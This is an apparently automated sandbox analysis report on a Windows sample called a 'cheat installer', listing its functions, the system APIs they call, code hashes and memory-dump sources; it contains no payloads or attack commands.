API ID: CloseFind_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1011579015-0
Opcode ID: e982e273b1865209a75a3cfd535ad9023e3388265a11ab7418cbf5dec2d39955
Instruction ID: a49ce5a471473349887f16e4ff4b72f19700918a785411525823a4b14318cbc1
Opcode Fuzzy Hash: e982e273b1865209a75a3cfd535ad9023e3388265a11ab7418cbf5dec2d39955
Instruction Fuzzy Hash: 85518F22A08A8681FB60DF26D44537D23A1FF85B86F440236FACD877A6DF2CD441E750

Function 00007FF6C16C1794 Relevance: 1.6, APIs: 1, Instructions: 115COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16C187D

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: 60c8fe66f84878668f1e37175277eb608c06b9d2d44befc405cc34de4c74e42f
Instruction ID: ab939047dea406f390569ebb4352ab8240e5383d844da572ed75476ee6b94da3
Opcode Fuzzy Hash: 60c8fe66f84878668f1e37175277eb608c06b9d2d44befc405cc34de4c74e42f
Instruction Fuzzy Hash: F241D462B18A9182EF149E17AA1037AA255AB85BC1F448535EECC87F4ADF3CD5929340

Function 00007FF6C16C2F58 Relevance: 1.6, APIs: 1, Instructions: 100COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16C30C8

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: c12ddbc590a903591de313708f19a8cb728d3d3f41945339a7b2dbf0642da7e2
Instruction ID: 190042b11f216e2a9bc57fea4a6a86a84b39d568d18338cc7e39fa77824638f7
Opcode Fuzzy Hash: c12ddbc590a903591de313708f19a8cb728d3d3f41945339a7b2dbf0642da7e2
Instruction Fuzzy Hash: 4741DF63A08B0680EF10AF2AE5653796361FB85BD9F044139EEDD87699DF3DE480D640

Function 00007FF6C16EBDF8 Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF6C16EBE20

Part of subcall function 00007FF6C16EBFB0: GetModuleHandleExW.KERNEL32 ref: 00007FF6C16EBFD0
Part of subcall function 00007FF6C16EBFB0: GetProcAddress.KERNEL32 ref: 00007FF6C16EBFE6
Part of subcall function 00007FF6C16EBFB0: FreeLibrary.KERNEL32 ref: 00007FF6C16EC00B

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: HandleModule$AddressFreeLibraryProc
String ID:
API String ID: 3947729631-0
Opcode ID: 5b4d6432c9ab27f48bf344f41163fa66ca8822e5b5ed34cf2c0174bd429b5c6d
Instruction ID: 8a565399adac73e201b3c8f567b108f41a5ddc363b70bb87eaa31ffd2d1b13d1
Opcode Fuzzy Hash: 5b4d6432c9ab27f48bf344f41163fa66ca8822e5b5ed34cf2c0174bd429b5c6d
Instruction Fuzzy Hash: 0C41B122A1875282FB24DF279C502782261AF94B82F544536DACDC76E6DF3DEA41E7C0

Function 00007FF6C16B129C Relevance: 1.6, APIs: 1, Instructions: 73COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6C16B1396

Part of subcall function 00007FF6C16B1F80: std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF6C16B1F89

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: Concurrency::cancel_current_taskstd::bad_alloc::bad_alloc
String ID:
API String ID: 680105476-0
Opcode ID: 8615e64c65e08c4765cb9fe696173ca1d24e70e0804716bd186f62c3c2783a0a
Instruction ID: 73a47172d6228e159a50cb0f1eb4716f769095f9e26f25fd4ba8aee88d748e0f
Opcode Fuzzy Hash: 8615e64c65e08c4765cb9fe696173ca1d24e70e0804716bd186f62c3c2783a0a
Instruction Fuzzy Hash: 3121AE22A0925195EB149E93B4002796250BF06BF1F680B31EFFE87BC1EE7CE491A340

Function 00007FF6C16B2C54 Relevance: 1.6, APIs: 1, Instructions: 66COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16B2D77

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: 31b34ebacb9280de439ed9c8253ac234116577bf367a3ee86a8e065c3418b0aa
Instruction ID: c23b4c738114662cf32f6fc56c8e4abc46f069b6655eac17cb47c68bdfdf4429
Opcode Fuzzy Hash: 31b34ebacb9280de439ed9c8253ac234116577bf367a3ee86a8e065c3418b0aa
Instruction Fuzzy Hash: 2A217822B24582A2EB08EF62D5583F86365FF44786F944435E7DD876A2DF3CA5A4E300

Function 00007FF6C16F124C Relevance: 1.6, APIs: 1, Instructions: 51COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6C16F1280

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 9dd5a9e84c18447e56e2265fa04046f11d37b96b7f5b774ce3305aa6458b3f00
Instruction ID: 3d373e12c116829058afabf060178db3c9edb818b098356e8bffa6df79e5ccbd
Opcode Fuzzy Hash: 9dd5a9e84c18447e56e2265fa04046f11d37b96b7f5b774ce3305aa6458b3f00
Instruction Fuzzy Hash: 11119D76A0C78282F7109F92A84027972A4FF413C2F544135EAEDC7796DF3CE980AB40

Function 00007FF6C16B3AD8 Relevance: 1.5, APIs: 1, Instructions: 39COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16B3B6C

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: dd833eb704b03c62a36fea145c0b0b4abee32047d89ef2e694e61e0216d7ee09
Instruction ID: d94e70d9af6f1ea881553e2ff05ac4ba7d791599a02eb3a7c14e09c2676c10da
Opcode Fuzzy Hash: dd833eb704b03c62a36fea145c0b0b4abee32047d89ef2e694e61e0216d7ee09
Instruction Fuzzy Hash: 3C01A162B1868581EB119B2AE4452297361FF99791F409331E6DC47BA9DF2CE1409704

Function 00007FF6C16E1558 Relevance: 1.5, APIs: 1, Instructions: 38COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF6C16E1604: GetModuleHandleW.KERNEL32(?,?,?,00007FF6C16E1573,?,?,?,00007FF6C16E192A), ref: 00007FF6C16E162B

DloadProtectSection.DELAYIMP ref: 00007FF6C16E15C9

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: DloadHandleModuleProtectSection
String ID:
API String ID: 2883838935-0
Opcode ID: 908f49ac33541a8240f4269ada82e733cc5c0c647bda27ab8868a2cee9a60ef3
Instruction ID: ec450702fe57f0b14b8c4726641dd2e3b249c7d85a8bf17227a2e69e96b20697
Opcode Fuzzy Hash: 908f49ac33541a8240f4269ada82e733cc5c0c647bda27ab8868a2cee9a60ef3
Instruction Fuzzy Hash: CA11BEA0E0854741FB609F17A8643B02350EF1534BF380534C9DDC62A6FF3CE5A5E650

Function 00007FF6C16EFA04 Relevance: 1.5, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL ref: 00007FF6C16EFA59

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: c4d23aaef5024e3722ccbb242168b3e22d65bf63548bcaacbbf61b8d0a3ba7a1
Instruction ID: b2450e8314e6f15495589f80d8ca1c6c3345e2e92350749f2fa3fa278bd19a2f
Opcode Fuzzy Hash: c4d23aaef5024e3722ccbb242168b3e22d65bf63548bcaacbbf61b8d0a3ba7a1
Instruction Fuzzy Hash: 3FF06D90B1A20786FF545F6B9D113B412805F44B82F0C56B0CDCECE3C2EE2CE7816290

Function 00007FF6C16C3EC8 Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6C16C40BC: FindFirstFileW.KERNELBASE ref: 00007FF6C16C410B
Part of subcall function 00007FF6C16C40BC: FindFirstFileW.KERNEL32 ref: 00007FF6C16C415E
Part of subcall function 00007FF6C16C40BC: GetLastError.KERNEL32 ref: 00007FF6C16C41AF

FindClose.KERNELBASE(?,?,00000000,00007FF6C16D0811), ref: 00007FF6C16C3EFD

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: Find$FileFirst$CloseErrorLast
String ID:
API String ID: 1464966427-0
Opcode ID: 18fe74ab7ca813274cb64c08179860cc48efc587ad39327f0b25563dc18ddab5
Instruction ID: 3940b5db54bdf4b7854d6af9867ed0f0f3f5a4a54c88f8fac3e16ae421516981
Opcode Fuzzy Hash: 18fe74ab7ca813274cb64c08179860cc48efc587ad39327f0b25563dc18ddab5
Instruction Fuzzy Hash: 5AF0A46250828285EF10BF76A1142B93760AB15BB5F149334EAFD473C7CE2CD444D744

Function 00007FF6C16ED94C Relevance: 1.5, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL ref: 00007FF6C16ED98A

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 5fa632deebd8181b9f3ea37834cf4eccbda839d7d0d6f948310c23224b4a93e7
Instruction ID: 492b4202ac24671368ae304ad4bffd61938ed5700dbffa8b049fb1f51d2c789e
Opcode Fuzzy Hash: 5fa632deebd8181b9f3ea37834cf4eccbda839d7d0d6f948310c23224b4a93e7
Instruction Fuzzy Hash: 18F08C10F0920748FF646FB39C103B812915F847A2F085730DDEEC62C2DE2CE680A291

Function 00007FF6C16C20D0 Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(?,?,00000001,00007FF6C16C207E), ref: 00007FF6C16C20F6

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: ccbd9008d2c4ce7168f8d058ff2f34620ae6bf54bfe45a0cbca9d6a6f1a7c065
Instruction ID: 3faf53ea4168729f48be6e61bf52eb013c2b867d96197ed1e489dbf5929ab00a
Opcode Fuzzy Hash: ccbd9008d2c4ce7168f8d058ff2f34620ae6bf54bfe45a0cbca9d6a6f1a7c065
Instruction Fuzzy Hash: 6BF0C222A0868285FF249F32E0557792761EB54B7BF584338EBFC815D5CF28D8A5E300

Function 00007FF6C16C2490 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE ref: 00007FF6C16C24A2

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: df9a28314c6b6fddfb177ebf539387614dcb0363737e1ba4f38fe55c4f903e1a
Instruction ID: e93af9bd0791ba9af22a0bbe25701c7d2357157f127e4de041d63e8aff357982
Opcode Fuzzy Hash: df9a28314c6b6fddfb177ebf539387614dcb0363737e1ba4f38fe55c4f903e1a
Instruction Fuzzy Hash: 0ED01212E0A841C3DF10AB3BD86103C6360AF92736FA44770DAFEC16E1CE1D9496B311

Function 00007FF6C16C7FC4 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

SetCurrentDirectoryW.KERNELBASE ref: 00007FF6C16C7FD2

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: CurrentDirectory
String ID:
API String ID: 1611563598-0
Opcode ID: 176ab68ebee512dad0278907058cd855c5c44f8615b79807412a7d406b36e525
Instruction ID: afdc5250f0eae28fcebc836f6b8460cce7dabbc33cb4295ab1c4325d6f018f75
Opcode Fuzzy Hash: 176ab68ebee512dad0278907058cd855c5c44f8615b79807412a7d406b36e525
Instruction Fuzzy Hash: 87C08C20F05503C1DF086F2BC8C911813A8FB60B06BA08034C19CC1220CE2CC4FAB349

Non-executed Functions

Function 00007FF6C16BC2F0 Relevance: 49.8, APIs: 24, Strings: 4, Instructions: 754fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6C16BDE04: GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF6C16BCF4B), ref: 00007FF6C16BDE27
Part of subcall function 00007FF6C16BDE04: GetLastError.KERNEL32 ref: 00007FF6C16BDE88
Part of subcall function 00007FF6C16BDE04: CloseHandle.KERNEL32 ref: 00007FF6C16BDE9B

wcscpy.LIBCMT ref: 00007FF6C16BCBC8
wcscpy.LIBCMT ref: 00007FF6C16BCBFE
CreateFileW.KERNEL32 ref: 00007FF6C16BCC38
DeviceIoControl.KERNEL32 ref: 00007FF6C16BCD01
CloseHandle.KERNEL32 ref: 00007FF6C16BCD12
GetLastError.KERNEL32 ref: 00007FF6C16BCD2E
RemoveDirectoryW.KERNEL32 ref: 00007FF6C16BCD7D
DeleteFileW.KERNEL32 ref: 00007FF6C16BCD88
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16BCE89
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16BCE8F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16BCE9B
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16BCEA1
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16BCEAD
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16BCEB3
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16BCEB9
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16BCEBF
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16BCEC5
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16BCECB
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16BCED1
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16BCED7

Strings

UNC\, xrefs: 00007FF6C16BC53F, 00007FF6C16BC55D
SeCreateSymbolicLinkPrivilege, xrefs: 00007FF6C16BC34F
SeRestorePrivilege, xrefs: 00007FF6C16BC343
\??\, xrefs: 00007FF6C16BC392, 00007FF6C16BC3B8

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$CloseErrorFileHandleLastwcscpy$ControlCreateCurrentDeleteDeviceDirectoryProcessRemove
String ID: SeCreateSymbolicLinkPrivilege$SeRestorePrivilege$UNC\$\??\
API String ID: 2659423929-3508440684
Opcode ID: 133043678a36d966ba880c912d6856c5696a7c6c433e50d223eb52f27bd95b56
Instruction ID: 16e52920fdc20863f6a0444674d8691fcf1c6ea1ca407f1b4dc56c1e5e93507c
Opcode Fuzzy Hash: 133043678a36d966ba880c912d6856c5696a7c6c433e50d223eb52f27bd95b56
Instruction Fuzzy Hash: F962C162F1864285FB00DF76D8542BD2361AF857A9F504231EAEC97AD6DF3CE285E340

Function 00007FF6C16C1A48 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 375fileCOMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNEL32 ref: 00007FF6C16C1A97
GetLongPathNameW.KERNEL32 ref: 00007FF6C16C1AE0
GetShortPathNameW.KERNEL32 ref: 00007FF6C16C1B21
GetShortPathNameW.KERNEL32 ref: 00007FF6C16C1B6A

Part of subcall function 00007FF6C16D13C4: CompareStringW.KERNEL32 ref: 00007FF6C16D13E3

MoveFileW.KERNEL32 ref: 00007FF6C16C1DFE
MoveFileW.KERNEL32 ref: 00007FF6C16C1E65

Part of subcall function 00007FF6C16C2134: CreateFileW.KERNEL32 ref: 00007FF6C16C223C

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16C1FE1
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16C1FE7
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16C1FED

Strings

rtmp, xrefs: 00007FF6C16C1CF4, 00007FF6C16C1D03

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
